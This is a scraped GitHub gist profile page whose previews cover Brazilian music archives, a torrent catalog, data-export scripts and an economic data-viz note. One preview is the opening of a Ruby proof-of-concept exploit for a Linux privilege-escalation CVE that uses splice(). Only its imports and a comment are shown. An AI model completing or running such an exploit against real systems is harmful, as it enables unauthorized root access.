Skip to content

Instantly share code, notes, and snippets.

View rafapolo's full-sized avatar

Rafael Polo rafapolo

View GitHub Profile

moeda.casa

The first PIX-to-blockchain bridge in Brazil. Send a PIX (Brazil's instant payment system), receive crypto directly in your own wallet — no exchange account, no custody, no KYC gate. A few minutes end-to-end.

Live prototype: https://moeda.casa

Origin

@rafapolo
rafapolo / hominiscanidae.txt
Created May 25, 2026 22:33
Acervo limpo do Hominis Canidae
/EXTRA/hominiscanidae/
├── 1960 - Elza Soares, Oswaldo Borba - Se Acaso Você Chegasse
├── 1963 - Jorge Ben Jor - Samba Esquema Novo
├── 1964 - Genival Lacerda - O rei da munganga
├── 1964 - Tenorio Jr - Embalo
├── 1965 - Moacir Santos - Coisas
├── 1965 - Nara Leão - Nara Leão (Ao Vivo) - 1965
├── 1967 - Milton Nascimento - Travessia
├── 1968 - Leonard Cohen - BBC Broadcasts 1968
├── 1968 - Pedro Santos - Krishnanda
@rafapolo
rafapolo / status.md
Last active May 25, 2026 09:50
hominiscanidae — Status do Acervo

hominiscanidae — status do acervo

Resumo geral

Status Posts %
Downloaded 6.660 63.3%
Dead / Blocked 3.867 36.7%
Total com link 10.527
Sem link (editorial) 56
@rafapolo
rafapolo / SomBarato Catalog
Created May 9, 2026 18:17
Catálogo dos Torrents do falecido SomBarato
# SomBarato Catalog
- 1,516 torrents → 1,185 unique albums (removed 331 duplicates)
- 779 dated, 406 undated
- Fixed 24 encoding corruptions (U+FFFD → correct PT-BR chars)
- Discogs enriched 22 undated entries (unauthenticated, 353 queries)
- Total library: 104 GB | 22,366 tracks
## 1950s
@rafapolo
rafapolo / sudo_exec.rb
Created April 30, 2026 20:14
CVE-2026-31431 PoC Exploit in Ruby
#!/usr/bin/env ruby
# CVE-2026-31431 PoC
# Requires: gem install ffi
require 'socket'
require 'zlib'
require 'ffi'
# FFI module to call Linux splice() system call from libc
# splice() allows moving data between pipe and file descriptor without copying to userspace
@rafapolo
rafapolo / scrap_bdd.sh
Last active March 24, 2026 22:20
Exports all basedosdados BigQuery tables → GCS (Parquet+zstd) → Hetzner
#!/usr/bin/env bash
# =============================================================================
# export_basedosdados.sh
# Exports all basedosdados BigQuery tables → GCS (Parquet+zstd) → Hetzner
#
# Prerequisites (run once before this script):
# gcloud auth login
# gcloud auth application-default login
# gcloud config set project YOUR_PROJECT_ID
#
@rafapolo
rafapolo / domains.txt
Created September 6, 2025 09:24
all websites sharing the server
copypro.app
www.copypro.app
devsandbox.art
www.devsandbox.art
stream.bitforms.art
www.stream.bitforms.art
holamusic.art
www.holamusic.art
www.markryan.art
paradigmacentro.cl
@rafapolo
rafapolo / heatmap-dataviz.md
Last active May 28, 2025 13:27
Atividades Econômicas no BR / Estabelecimentos abertos por Ano

heatmap_abertas2

All, normalized:

brasil-cnaes-heat

friba-open-close-companies

== GPT 4o analisando a imagem ==

📉 Crises Econômicas e Instabilidade Macroeconômica A recessão de 2015-2016, considerada a mais severa da história recente do Brasil, resultou em uma contração significativa do Produto Interno Bruto (PIB), aumento do desemprego e queda na renda das famílias. Esse cenário adverso levou ao fechamento de aproximadamente 920 mil empresas em 2015, superando o número de novas aberturas no mesmo ano. Em 2018, uma nova desaceleração econômica, agravada por incertezas políticas e fiscais, culminou no fechamento de 1,14 milhão de empresas, novamente ultrapassando as inaugurações.

🦠 Impactos da Pandemia de COVID-19 A pandemia iniciada em 2020 impôs restrições severas às atividades econômicas, especialmente nos setores de comércio e serviços. Estima-se que mais de 600 mil empresas encerraram suas atividades até abril de 2020 devido à pandemia. Em 2023, o Brasil registrou

@rafapolo
rafapolo / plot.py
Last active May 15, 2025 12:16
Gera Relatório de Aberturas de Entidades por Natureza Jurídica
import seaborn as sns
import matplotlib.pyplot as plt
import math
def get_natur_counts_per_year(cod):
# Query local Clickhouse
return db.execute(f"""
SELECT
toYear(data_inicio_atividade) AS year,
COUNT(*) AS amount